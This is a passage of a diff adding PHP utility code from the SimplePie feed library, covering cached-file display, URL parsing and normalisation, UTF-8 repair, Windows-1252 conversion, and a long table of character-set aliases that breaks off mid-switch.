+			$full .= ">$element[content]</$element[tag]>";
+		}
+		return $full;
+	}
+
+	function error($message, $level, $file, $line)
+	{
+		switch ($level)
+		{
+			case E_USER_ERROR:
+				$note = 'PHP Error';
+				break;
+			case E_USER_WARNING:
+				$note = 'PHP Warning';
+				break;
+			case E_USER_NOTICE:
+				$note = 'PHP Notice';
+				break;
+			default:
+				$note = 'Unknown Error';
+				break;
+		}
+		error_log("$note: $message in $file on line $line", 0);
+		return $message;
+	}
+
+	/**
+	 * If a file has been cached, retrieve and display it.
+	 *
+	 * This is most useful for caching images (get_favicon(), etc.),
+	 * however it works for all cached files.  This WILL NOT display ANY
+	 * file/image/page/whatever, but rather only display what has already
+	 * been cached by SimplePie.
+	 *
+	 * @access public
+	 * @see SimplePie::get_favicon()
+	 * @param str $identifier_url URL that is used to identify the content.
+	 * This may or may not be the actual URL of the live content.
+	 * @param str $cache_location Location of SimplePie's cache.  Defaults
+	 * to './cache'.
+	 * @param str $cache_extension The file extension that the file was
+	 * cached with.  Defaults to 'spc'.
+	 * @param str $cache_class Name of the cache-handling class being used
+	 * in SimplePie.  Defaults to 'SimplePie_Cache', and should be left
+	 * as-is unless you've overloaded the class.
+	 * @param str $cache_name_function Obsolete. Exists for backwards
+	 * compatibility reasons only.
+	 */
+	function display_cached_file($identifier_url, $cache_location = './cache', $cache_extension = 'spc', $cache_class = 'SimplePie_Cache', $cache_name_function = 'md5')
+	{
+		$cache = call_user_func(array($cache_class, 'create'), $cache_location, $identifier_url, $cache_extension);
+
+		if ($file = $cache->load())
+		{
+			if (isset($file['headers']['content-type']))
+			{
+				header('Content-type:' . $file['headers']['content-type']);
+			}
+			else
+			{
+				header('Content-type: application/octet-stream');
+			}
+			header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+			echo $file['body'];
+			exit;
+		}
+
+		die('Cached file for ' . $identifier_url . ' cannot be found.');
+	}
+
+	function fix_protocol($url, $http = 1)
+	{
+		$url = SimplePie_Misc::normalize_url($url);
+		$parsed = SimplePie_Misc::parse_url($url);
+		if ($parsed['scheme'] !== '' && $parsed['scheme'] != 'http' && $parsed['scheme'] != 'https')
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url))
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($http == 2 && $parsed['scheme'] !== '')
+		{
+			return "feed:$url";
+		}
+		elseif ($http == 3 && strtolower($parsed['scheme']) == 'http')
+		{
+			return substr_replace($url, 'podcast', 0, 4);
+		}
+		elseif ($http == 4 && strtolower($parsed['scheme']) == 'http')
+		{
+			return substr_replace($url, 'itpc', 0, 4);
+		}
+		else
+		{
+			return $url;
+		}
+	}
+
+	function parse_url($url)
+	{
+		static $cache = array();
+		if (isset($cache[$url]))
+		{
+			return $cache[$url];
+		}
+		elseif (preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $url, $match))
+		{
+			for ($i = count($match); $i <= 9; $i++)
+			{
+				$match[$i] = '';
+			}
+			return $cache[$url] = array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]);
+		}
+		else
+		{
+			return $cache[$url] = array('scheme' => '', 'authority' => '', 'path' => '', 'query' => '', 'fragment' => '');
+		}
+	}
+
+	function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
+	{
+		$return = '';
+		if ($scheme !== '')
+		{
+			$return .= "$scheme:";
+		}
+		if ($authority !== '')
+		{
+			$return .= "//$authority";
+		}
+		if ($path !== '')
+		{
+			$return .= $path;
+		}
+		if ($query !== '')
+		{
+			$return .= "?$query";
+		}
+		if ($fragment !== '')
+		{
+			$return .= "#$fragment";
+		}
+		return $return;
+	}
+
+	function normalize_url($url)
+	{
+		$url = preg_replace_callback('/%([0-9A-Fa-f]{2})/', array('SimplePie_Misc', 'percent_encoding_normalization'), $url);
+		$url = SimplePie_Misc::parse_url($url);
+		$url['scheme'] = strtolower($url['scheme']);
+		if ($url['authority'] !== '')
+		{
+			$url['authority'] = strtolower($url['authority']);
+			$url['path'] = SimplePie_Misc::remove_dot_segments($url['path']);
+		}
+		return SimplePie_Misc::compress_parse_url($url['scheme'], $url['authority'], $url['path'], $url['query'], $url['fragment']);
+	}
+
+	function percent_encoding_normalization($match)
+	{
+		$integer = hexdec($match[1]);
+		if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer == 0x2D || $integer == 0x2E || $integer == 0x5F || $integer == 0x7E)
+		{
+			return chr($integer);
+		}
+		else
+		{
+			return strtoupper($match[0]);
+		}
+	}
+
+	/**
+	 * Remove bad UTF-8 bytes
+	 *
+	 * PCRE Pattern to locate bad bytes in a UTF-8 string comes from W3C
+	 * FAQ: Multilingual Forms (modified to include full ASCII range)
+	 *
+	 * @author Geoffrey Sneddon
+	 * @see http://www.w3.org/International/questions/qa-forms-utf-8
+	 * @param string $str String to remove bad UTF-8 bytes from
+	 * @return string UTF-8 string
+	 */
+	function utf8_bad_replace($str)
+	{
+		if (function_exists('iconv') && ($return = @iconv('UTF-8', 'UTF-8//IGNORE', $str)))
+		{
+			return $return;
+		}
+		elseif (function_exists('mb_convert_encoding') && ($return = @mb_convert_encoding($str, 'UTF-8', 'UTF-8')))
+		{
+			return $return;
+		}
+		elseif (preg_match_all('/(?:[\x00-\x7F]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})+/', $str, $matches))
+		{
+			return implode("\xEF\xBF\xBD", $matches[0]);
+		}
+		elseif ($str !== '')
+		{
+			return "\xEF\xBF\xBD";
+		}
+		else
+		{
+			return '';
+		}
+	}
+	
+	/**
+	 * Converts a Windows-1252 encoded string to a UTF-8 encoded string
+	 *
+	 * @static
+	 * @access public
+	 * @param string $string Windows-1252 encoded string
+	 * @return string UTF-8 encoded string
+	 */
+	function windows_1252_to_utf8($string)
+	{
+		static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF");
+		
+		return strtr($string, $convert_table);
+	}
+
+	function change_encoding($data, $input, $output)
+	{
+		$input = SimplePie_Misc::encoding($input);
+		$output = SimplePie_Misc::encoding($output);
+		
+		// We fail to fail on non US-ASCII bytes
+		if ($input === 'US-ASCII')
+		{
+			static $non_ascii_octects = '';
+			if (!$non_ascii_octects)
+			{
+				for ($i = 0x80; $i <= 0xFF; $i++)
+				{
+					$non_ascii_octects .= chr($i);
+				}
+			}
+			$data = substr($data, 0, strcspn($data, $non_ascii_octects));
+		}
+
+		if (function_exists('iconv') && ($return = @iconv($input, $output, $data)))
+		{
+			return $return;
+		}
+		elseif (function_exists('mb_convert_encoding') && ($return = @mb_convert_encoding($data, $output, $input)))
+		{
+			return $return;
+		}
+		elseif ($input == 'windows-1252' && $output == 'UTF-8')
+		{
+			return SimplePie_Misc::windows_1252_to_utf8($data);
+		}
+		elseif ($input == 'UTF-8' && $output == 'windows-1252')
+		{
+			return utf8_decode($data);
+		}
+		return $data;
+	}
+
+	function encoding($encoding)
+	{
+		// Character sets are case-insensitive (though we'll return them in the form given in their registration)
+		switch (strtoupper($encoding))
+		{
+			case 'ANSI_X3.110-1983':
+			case 'CSA_T500-1983':
+			case 'CSISO99NAPLPS':
+			case 'ISO-IR-99':
+			case 'NAPLPS':
+				return 'ANSI_X3.110-1983';
+	
+			case 'ARABIC7':
+			case 'ASMO_449':
+			case 'CSISO89ASMO449':
+			case 'ISO-IR-89':
+			case 'ISO_9036':
+				return 'ASMO_449';
+	
+			case 'ADOBE-STANDARD-ENCODING':
+			case 'CSADOBESTANDARDENCODING':
+				return 'Adobe-Standard-Encoding';
+	
+			case 'ADOBE-SYMBOL-ENCODING':
+			case 'CSHPPSMATH':
+				return 'Adobe-Symbol-Encoding';
+	
+			case 'AMI-1251':
+			case 'AMI1251':
+			case 'AMIGA-1251':
+			case 'AMIGA1251':
+				return 'Amiga-1251';
+	
+			case 'BOCU-1':
+			case 'CSBOCU-1':
+				return 'BOCU-1';
+	
+			case 'BRF':
+			case 'CSBRF':
+				return 'BRF';
+	
+			case 'BS_4730':
+			case 'CSISO4UNITEDKINGDOM':
+			case 'GB':
+			case 'ISO-IR-4':
+			case 'ISO646-GB':
+			case 'UK':
+				return 'BS_4730';
+	
+			case 'BS_VIEWDATA':
+			case 'CSISO47BSVIEWDATA':
+			case 'ISO-IR-47':
+				return 'BS_viewdata';
+	
+			case 'BIG5':
+			case 'CSBIG5':
+				return 'Big5';
+	
+			case 'BIG5-HKSCS':
+				return 'Big5-HKSCS';
+	
+			case 'CESU-8':
+			case 'CSCESU-8':
+				return 'CESU-8';
+	
+			case 'CA':
+			case 'CSA7-1':
+			case 'CSA_Z243.4-1985-1':
+			case 'CSISO121CANADIAN1':
+			case 'ISO-IR-121':
+			case 'ISO646-CA':
+				return 'CSA_Z243.4-1985-1';
+	
+			case 'CSA7-2':
+			case 'CSA_Z243.4-1985-2':
+			case 'CSISO122CANADIAN2':
+			case 'ISO-IR-122':
+			case 'ISO646-CA2':
+				return 'CSA_Z243.4-1985-2';
+	
+			case 'CSA_Z243.4-1985-GR':
+			case 'CSISO123CSAZ24341985GR':
+			case 'ISO-IR-123':
+				return 'CSA_Z243.4-1985-gr';
+	
+			case 'CSISO139CSN369103':
+			case 'CSN_369103':
+			case 'ISO-IR-139':
+				return 'CSN_369103';
+	
+			case 'CSDECMCS':
+			case 'DEC':
+			case 'DEC-MCS':
+				return 'DEC-MCS';
+	
+			case 'CSISO21GERMAN':
+			case 'DE':
+			case 'DIN_66003':
+			case 'ISO-IR-21':
+			case 'ISO646-DE':
+				return 'DIN_66003';
+	
+			case 'CSISO646DANISH':
+			case 'DK':
+			case 'DS2089':
+			case 'DS_2089':
+			case 'ISO646-DK':
+				return 'DS_2089';
+	
+			case 'CSIBMEBCDICATDE':
+			case 'EBCDIC-AT-DE':
+				return 'EBCDIC-AT-DE';
+	
+			case 'CSEBCDICATDEA':
+			case 'EBCDIC-AT-DE-A':
+				return 'EBCDIC-AT-DE-A';
+	
+			case 'CSEBCDICCAFR':
+			case 'EBCDIC-CA-FR':
+				return 'EBCDIC-CA-FR';
+	
+			case 'CSEBCDICDKNO':
+			case 'EBCDIC-DK-NO':
+				return 'EBCDIC-DK-NO';
+	
+			case 'CSEBCDICDKNOA':
+			case 'EBCDIC-DK-NO-A':
+				return 'EBCDIC-DK-NO-A';
+	
+			case 'CSEBCDICES':
+			case 'EBCDIC-ES':
+				return 'EBCDIC-ES';
+	
+			case 'CSEBCDICESA':
+			case 'EBCDIC-ES-A':
+				return 'EBCDIC-ES-A';
+	
+			case 'CSEBCDICESS':
+			case 'EBCDIC-ES-S':
+				return 'EBCDIC-ES-S';
+	
+			case 'CSEBCDICFISE':
+			case 'EBCDIC-FI-SE':
+				return 'EBCDIC-FI-SE';
+	
+			case 'CSEBCDICFISEA':
+			case 'EBCDIC-FI-SE-A':
+				return 'EBCDIC-FI-SE-A';
+	
+			case 'CSEBCDICFR':
+			case 'EBCDIC-FR':
+				return 'EBCDIC-FR';
+	
+			case 'CSEBCDICIT':
+			case 'EBCDIC-IT':
+				return 'EBCDIC-IT';
+	
+			case 'CSEBCDICPT':
+			case 'EBCDIC-PT':
+				return 'EBCDIC-PT';
+	
+			case 'CSEBCDICUK':
+			case 'EBCDIC-UK':
+				return 'EBCDIC-UK';
+	
+			case 'CSEBCDICUS':
+			case 'EBCDIC-US':
+				return 'EBCDIC-US';
+	
+			case 'CSISO111ECMACYRILLIC':
+			case 'ECMA-CYRILLIC':
+			case 'ISO-IR-111':
+			case 'KOI8-E':
+				return 'ECMA-cyrillic';
+	
+			case 'CSISO17SPANISH':
+			case 'ES':
+			case 'ISO-IR-17':
+			case 'ISO646-ES':
+				return 'ES';
+	
+			case 'CSISO85SPANISH2':
+			case 'ES2':
+			case 'ISO-IR-85':
+			case 'ISO646-ES2':
+				return 'ES2';
+	
+			case 'CSEUCPKDFMTJAPANESE':
+			case 'EUC-JP':
+			case 'EXTENDED_UNIX_CODE_PACKED_FORMAT_FOR_JAPANESE':
+				return 'EUC-JP';
+	
+			case 'CSEUCKR':
+			case 'EUC-KR':
+				return 'EUC-KR';
+	
+			case 'CSEUCFIXWIDJAPANESE':
+			case 'EXTENDED_UNIX_CODE_FIXED_WIDTH_FOR_JAPANESE':
+				return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';
+	
+			case 'GB18030':
+				return 'GB18030';
+	
+			case 'CSGB2312':
+			case 'GB2312':
+				return 'GB2312';
+	
+			case 'CP936':
+			case 'GBK':
+			case 'MS936':
+			case 'WINDOWS-936':
+				return 'GBK';
+	
+			case 'CN':
+			case 'CSISO57GB1988':
+			case 'GB_1988-80':
+			case 'ISO-IR-57':
+			case 'ISO646-CN':
+				return 'GB_1988-80';
+	
+			case 'CHINESE':
+			case 'CSISO58GB231280':
+			case 'GB_2312-80':
+			case 'ISO-IR-58':
+				return 'GB_2312-80';
+	
+			case 'CSISO153GOST1976874':
+			case 'GOST_19768-74':
+			case 'ISO-IR-153':
+			case 'ST_SEV_358-88':
+				return 'GOST_19768-74';
+	
+			case 'CSHPDESKTOP':
+			case 'HP-DESKTOP':
+				return 'HP-DeskTop';
+	
+			case 'CSHPLEGAL':
+			case 'HP-LEGAL':
+				return 'HP-Legal';
+	
+			case 'CSHPMATH8':
+			case 'HP-MATH8':
+				return 'HP-Math8';
+	
+			case 'CSHPPIFONT':
+			case 'HP-PI-FONT':
+				return 'HP-Pi-font';
+	
+			case 'HZ-GB-2312':
+				return 'HZ-GB-2312';
+	
+			case 'CSIBMSYMBOLS':
+			case 'IBM-SYMBOLS':
+				return 'IBM-Symbols';
+	
+			case 'CSIBMTHAI':
+			case 'IBM-THAI':
+				return 'IBM-Thai';
+	
+			case 'CCSID00858':
+			case 'CP00858':
+			case 'IBM00858':
+			case 'PC-MULTILINGUAL-850+EURO':
+				return 'IBM00858';
+	
+			case 'CCSID00924':
+			case 'CP00924':
+			case 'EBCDIC-LATIN9--EURO':
+			case 'IBM00924':
+				return 'IBM00924';
+	
+			case 'CCSID01140':
+			case 'CP01140':
+			case 'EBCDIC-US-37+EURO':
+			case 'IBM01140':
+				return 'IBM01140';
+	
+			case 'CCSID01141':
+			case 'CP01141':
+			case 'EBCDIC-DE-273+EURO':
+			case 'IBM01141':
+				return 'IBM01141';
+	
+			case 'CCSID01142':
+			case 'CP01142':
+			case 'EBCDIC-DK-277+EURO':
+			case 'EBCDIC-NO-277+EURO':
+			case 'IBM01142':
+				return 'IBM01142';
+	
+			case 'CCSID01143':
+			case 'CP01143':
+			case 'EBCDIC-FI-278+EURO':
+			case 'EBCDIC-SE-278+EURO':
+			case 'IBM01143':
+				return 'IBM01143';
+	
+			case 'CCSID01144':
+			case 'CP01144':
+			case 'EBCDIC-IT-280+EURO':
+			case 'IBM01144':
+				return 'IBM01144';
+	
+			case 'CCSID01145':
+			case 'CP01145':
+			case 'EBCDIC-ES-284+EURO':
+			case 'IBM01145':
+				return 'IBM01145';
+	
+			case 'CCSID01146':
+			case 'CP01146':
+			case 'EBCDIC-GB-285+EURO':
+			case 'IBM01146':
+				return 'IBM01146';
+	
+			case 'CCSID01147':
+			case 'CP01147':
+			case 'EBCDIC-FR-297+EURO':
+			case 'IBM01147':
+				return 'IBM01147';
+	
+			case 'CCSID01148':
+			case 'CP01148':
+			case 'EBCDIC-INTERNATIONAL-500+EURO':
+			case 'IBM01148':
+				return 'IBM01148';
+	
+			case 'CCSID01149':
+			case 'CP01149':
+			case 'EBCDIC-IS-871+EURO':
+			case 'IBM01149':
+				return 'IBM01149';
+	
+			case 'CP037':
+			case 'CSIBM037':
+			case 'EBCDIC-CP-CA':
+			case 'EBCDIC-CP-NL':
+			case 'EBCDIC-CP-US':
+			case 'EBCDIC-CP-WT':
+			case 'IBM037':
+				return 'IBM037';
+	
+			case 'CP038':
+			case 'CSIBM038':
+			case 'EBCDIC-INT':
+			case 'IBM038':
+				return 'IBM038';
+	
+			case 'CP1026':
+			case 'CSIBM1026':
+			case 'IBM1026':
+				return 'IBM1026';
+	
+			case 'IBM-1047':
+			case 'IBM1047':
+				return 'IBM1047';
+	
+			case 'CP273':
+			case 'CSIBM273':
+			case 'IBM273':
+				return 'IBM273';
+	
+			case 'CP274':
+			case 'CSIBM274':
+			case 'EBCDIC-BE':
+			case 'IBM274':
+				return 'IBM274';
+	
+			case 'CP275':
+			case 'CSIBM275':
+			case 'EBCDIC-BR':
+			case 'IBM275':
+				return 'IBM275';
+	
+			case 'CSIBM277':
+			case 'EBCDIC-CP-DK':
+			case 'EBCDIC-CP-NO':
+			case 'IBM277':
+				return 'IBM277';
+	
+			case 'CP278':
+			case 'CSIBM278':
+			case 'EBCDIC-CP-FI':
+			case 'EBCDIC-CP-SE':
+			case 'IBM278':
+				return 'IBM278';
+	
+			case 'CP280':
+			case 'CSIBM280':
+			case 'EBCDIC-CP-IT':
+			case 'IBM280':
+				return 'IBM280';
+	
+			case 'CP281':
+			case 'CSIBM281':
+			case 'EBCDIC-JP-E':
+			case 'IBM281':
+				return 'IBM281';
+	
+			case 'CP284':
+			case 'CSIBM284':
+			case 'EBCDIC-CP-ES':
+			case 'IBM284':
+				return 'IBM284';
+	
+			case 'CP285':
+			case 'CSIBM285':
+			case 'EBCDIC-CP-GB':
+			case 'IBM285':
+				return 'IBM285';
+	
+			case 'CP290':
+			case 'CSIBM290':
+			case 'EBCDIC-JP-KANA':
+			case 'IBM290':
+				return 'IBM290';
+	
+			case 'CP297':
+			case 'CSIBM297':
+			case 'EBCDIC-CP-FR':
+			case 'IBM297':
+				return 'IBM297';
+	
+			case 'CP420':
+			case 'CSIBM420':
+			case 'EBCDIC-CP-AR1':
+			case 'IBM420':
+				return 'IBM420';
+	
+			case 'CP423':
+			case 'CSIBM423':
+			case 'EBCDIC-CP-GR':
+			case 'IBM423':
+				return 'IBM423';
+	
+			case 'CP424':
+			case 'CSIBM424':
+			case 'EBCDIC-CP-HE':
+			case 'IBM424':
+				return 'IBM424';
+	
+			case '437':
+			case 'CP437':
+			case 'CSPC8CODEPAGE437':
+			case 'IBM437':
+				return 'IBM437';
+	
+			case 'CP500':
+			case 'CSIBM500':
+			case 'EBCDIC-CP-BE':
+			case 'EBCDIC-CP-CH':
+			case 'IBM500':
+				return 'IBM500';
+	
+			case 'CP775':
+			case 'CSPC775BALTIC':
+			case 'IBM775':
+				return 'IBM775';
+	
+			case '850':
+			case 'CP850':
+			case 'CSPC850MULTILINGUAL':
+			case 'IBM850':
+				return 'IBM850';
+	
+			case '851':
+			case 'CP851':
+			case 'CSIBM851':
+			case 'IBM851':
+				return 'IBM851';
+	
+			case '852':
+			case 'CP852':
+			case 'CSPCP852':
+			case 'IBM852':
+				return 'IBM852';
+	
+			case '855':
+			case 'CP855':
+			case 'CSIBM855':
+			case 'IBM855':
+				return 'IBM855';
+	
+			case '857':
+			case 'CP857':
+			case 'CSIBM857':
+			case 'IBM857':
+				return 'IBM857';
+	
+			case '860':
+			case 'CP860':
+			case 'CSIBM860':
+			case 'IBM860':
+				return 'IBM860';
+	
+			case '861':
+			case 'CP-IS':
+			case 'CP861':
+			case 'CSIBM861':
+			case 'IBM861':
+				return 'IBM861';
+	
+			case '862':
+			case 'CP862':
+			case 'CSPC862LATINHEBREW':
+			case 'IBM862':
+				return 'IBM862';
+	
+			case '863':
+			case 'CP863':
+			case 'CSIBM863':
+			case 'IBM863':
+				return 'IBM863';
+	
+			case 'CP864':
+			case 'CSIBM864':
+			case 'IBM864':
+				return 'IBM864';
+	
+			case '865':
+			case 'CP865':
+			case 'CSIBM865':
+			case 'IBM865':
+				return 'IBM865';
+	
+			case '866':
+			case 'CP866':
+			case 'CSIBM866':
+			case 'IBM866':
+				return 'IBM866';
+	
+			case 'CP-AR':
+			case 'CP868':
+			case 'CSIBM868':
+			case 'IBM868':
+				return 'IBM868';
+	
+			case '869':
+			case 'CP-GR':
+			case 'CP869':
+			case 'CSIBM869':
+			case 'IBM869':
+				return 'IBM869';
+	
+			case 'CP870':
+			case 'CSIBM870':
+			case 'EBCDIC-CP-ROECE':
+			case 'EBCDIC-CP-YU':
+			case 'IBM870':
+				return 'IBM870';
+	
+			case 'CP871':
+			case 'CSIBM871':
+			case 'EBCDIC-CP-IS':
+			case 'IBM871':
+				return 'IBM871';
+	
+			case 'CP880':
+			case 'CSIBM880':
+			case 'EBCDIC-CYRILLIC':
+			case 'IBM880':
+				return 'IBM880';
+	
+			case 'CP891':
+			case 'CSIBM891':
+			case 'IBM891':
+				return 'IBM891';
+	
+			case 'CP903':
+			case 'CSIBM903':
+			case 'IBM903':
+				return 'IBM903';
+	
+			case '904':
+			case 'CP904':
+			case 'CSIBBM904':
+			case 'IBM904':
+				return 'IBM904';
+	
+			case 'CP905':
+			case 'CSIBM905':
+			case 'EBCDIC-CP-TR':
+			case 'IBM905':
+				return 'IBM905';
+	
+			case 'CP918':
+			case 'CSIBM918':
+			case 'EBCDIC-CP-AR2':
+			case 'IBM918':
+				return 'IBM918';
+	
+			case 'CSISO143IECP271':
+			case 'IEC_P27-1':
+			case 'ISO-IR-143':
+				return 'IEC_P27-1';
+	
+			case 'CSISO49INIS':
+			case 'INIS':
+			case 'ISO-IR-49':
+				return 'INIS';
+	
+			case 'CSISO50INIS8':
+			case 'INIS-8':
+			case 'ISO-IR-50':
+				return 'INIS-8';
+	
+			case 'CSISO51INISCYRILLIC':
+			case 'INIS-CYRILLIC':
+			case 'ISO-IR-51':
+				return 'INIS-cyrillic';
+	
+			case 'CSINVARIANT':
+			case 'INVARIANT':
+				return 'INVARIANT';
+	
+			case 'ISO-10646-J-1':
+				return 'ISO-10646-J-1';
+	
+			case 'CSUNICODE':
+			case 'ISO-10646-UCS-2':
+				return 'ISO-10646-UCS-2';
+	
+			case 'CSUCS4':
+			case 'ISO-10646-UCS-4':
+				return 'ISO-10646-UCS-4';
+	
+			case 'CSUNICODEASCII':
+			case 'ISO-10646-UCS-BASIC':
+				return 'ISO-10646-UCS-Basic';
+	
+			case 'CSISO10646UTF1':
+			case 'ISO-10646-UTF-1':
+				return 'ISO-10646-UTF-1';
+	
+			case 'CSUNICODELATIN1':
+			case 'ISO-10646':
+			case 'ISO-10646-UNICODE-LATIN1':
+				return 'ISO-10646-Unicode-Latin1';
+	
+			case 'CSISO115481':
+			case 'ISO-11548-1':
+			case 'ISO_11548-1':
+			case 'ISO_TR_11548-1':
+				return 'ISO-11548-1';
+	
+			case 'ISO-2022-CN':
+				return 'ISO-2022-CN';
+	
+			case 'ISO-2022-CN-EXT':
+				return 'ISO-2022-CN-EXT';
+	
+			case 'CSISO2022JP':
+			case 'ISO-2022-JP':
+				return 'ISO-2022-JP';
+	
+			case 'CSISO2022JP2':
+			case 'ISO-2022-JP-2':
+				return 'ISO-2022-JP-2';
+	
+			case 'CSISO2022KR':
+			case 'ISO-2022-KR':
+				return 'ISO-2022-KR';
+	
+			case 'CSWINDOWS30LATIN1':
+			case 'ISO-8859-1-WINDOWS-3.0-LATIN-1':
+				return 'ISO-8859-1-Windows-3.0-Latin-1';
+	
+			case 'CSWINDOWS31LATIN1':
+			case 'ISO-8859-1-WINDOWS-3.1-LATIN-1':
+				return 'ISO-8859-1-Windows-3.1-Latin-1';
+	
+			case 'CSISOLATIN6':
+			case 'ISO-8859-10':
+			case 'ISO-IR-157':
+			case 'ISO_8859-10:1992':
+			case 'L6':
+			case 'LATIN6':
+				return 'ISO-8859-10';
+	
+			case 'ISO-8859-13':
+				return 'ISO-8859-13';
+	
+			case 'ISO-8859-14':
+			case 'ISO-CELTIC':
+			case 'ISO-IR-199':
+			case 'ISO_8859-14':
+			case 'ISO_8859-14:1998':
+			case 'L8':
+			case 'LATIN8':
+				return 'ISO-8859-14';
+	
+			case 'ISO-8859-15':
+			case 'ISO_8859-15':
+			case 'LATIN-9':
+				return 'ISO-8859-15';
+	
+			case 'ISO-8859-16':
+			case 'ISO-IR-226':
+			case 'ISO_8859-16':
+			case 'ISO_8859-16:2001':
+			case 'L10':
+			case 'LATIN10':
+				return 'ISO-8859-16';
+	
+			case 'CSISOLATIN2':
+			case 'ISO-8859-2':
+			case 'ISO-IR-101':
+			case 'ISO_8859-2':
+			case 'ISO_8859-2:1987':
+			case 'L2':
+			case 'LATIN2':
+				return 'ISO-8859-2';
+	
+			case 'CSWINDOWS31LATIN2':
+			case 'ISO-8859-2-WINDOWS-LATIN-2':
+				return 'ISO-8859-2-Windows-Latin-2';
+	
+			case 'CSISOLATIN3':
+			case 'ISO-8859-3':
+			case 'ISO-IR-109':
+			case 'ISO_8859-3':
+			case 'ISO_8859-3:1988':
+			case 'L3':
+			case 'LATIN3':
+				return 'ISO-8859-3';
+	
+			case 'CSISOLATIN4':
+			case 'ISO-8859-4':
